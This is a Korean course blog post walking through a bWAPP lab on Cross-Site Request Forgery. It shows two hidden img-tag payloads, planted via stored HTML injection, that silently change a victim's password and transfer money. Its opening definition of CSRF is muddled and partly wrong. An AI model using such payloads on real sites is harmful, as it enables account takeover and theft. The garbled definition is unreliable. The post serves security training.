본문 바로가기
메가IT아카데미 국기과정/JAVA와 웹보안

[1-8] Cross-Site Request Forgery

by 한님폐하 2022. 9. 13.
  • 공격자가 서버 백드라운드에서 실행될 수 있는 악의적인 파일/스크립트를 업로드한다.
  • 만약, 클라이언트가 이를 실행하면 공격자 대신 웹 서버에게 악의적인 요청을 전송하는 취약점이다.
  • 그럼 웹 서버는 클라이언트에게 응답을 실시하기 때문에 정보 유출 및 획득이 가능하다.
  • 타켓 주체가 클라이언트가 아니라 서버라는 것에 XSS Injection과 차이가 있다.
  • 즉, XSS는 공격자가 취약한 웹 서버를 이용하여 클라이언트쪽에 악의적인 스크립트를 실행했다면,
  • CSRF는 공격자가 클라이언트를 이용하여 웹 서버에 악의적인 스크립트를 실행하는 것이다.

 

1. CSRF (Change Password)

  • 'HTML Injection - Stored (Blog)' 시나리오로 이동하여 다음과 같은 HTML 태그를 인젝션한다.
<img src="http://192.168.20.205/bWAPP/csrf_1.php?password_new=test1234&password_conf=test1234&action=change" height=0 width=0>

 

  • 'SQL Injection (Login Form/User)' 시나리오로 이동하여 bee/test1234로 로그인을 시도한다.

 

 

2. CSRF (Transfer Amount)

  • 'HTML Injection - Stored (Blog)' 시나리오로 이동하여 다음과 같은 HTML 태그를 인젝션한다.
<img src="http://192.168.20.205/bWAPP/csrf_2.php?account=123-45678-90&amount=100&action=transfer" height=0 width=0>

 

  • 'CSRF (Transfer Amount)' 시나리오로 이동하여 송금된 이후 잔액을 확인한다.

 

 

'메가IT아카데미 국기과정 > JAVA와 웹보안' 카테고리의 다른 글

[1-10] XML External Entity Attacks  (0) 2022.09.13
[1-9] Remote & Local File Inclusion  (0) 2022.09.13
[1-7] Sensitive Data Exposure  (0) 2022.09.13
[1-6] XSS Injection  (0) 2022.09.13
[1-5] XML Injection  (0) 2022.09.12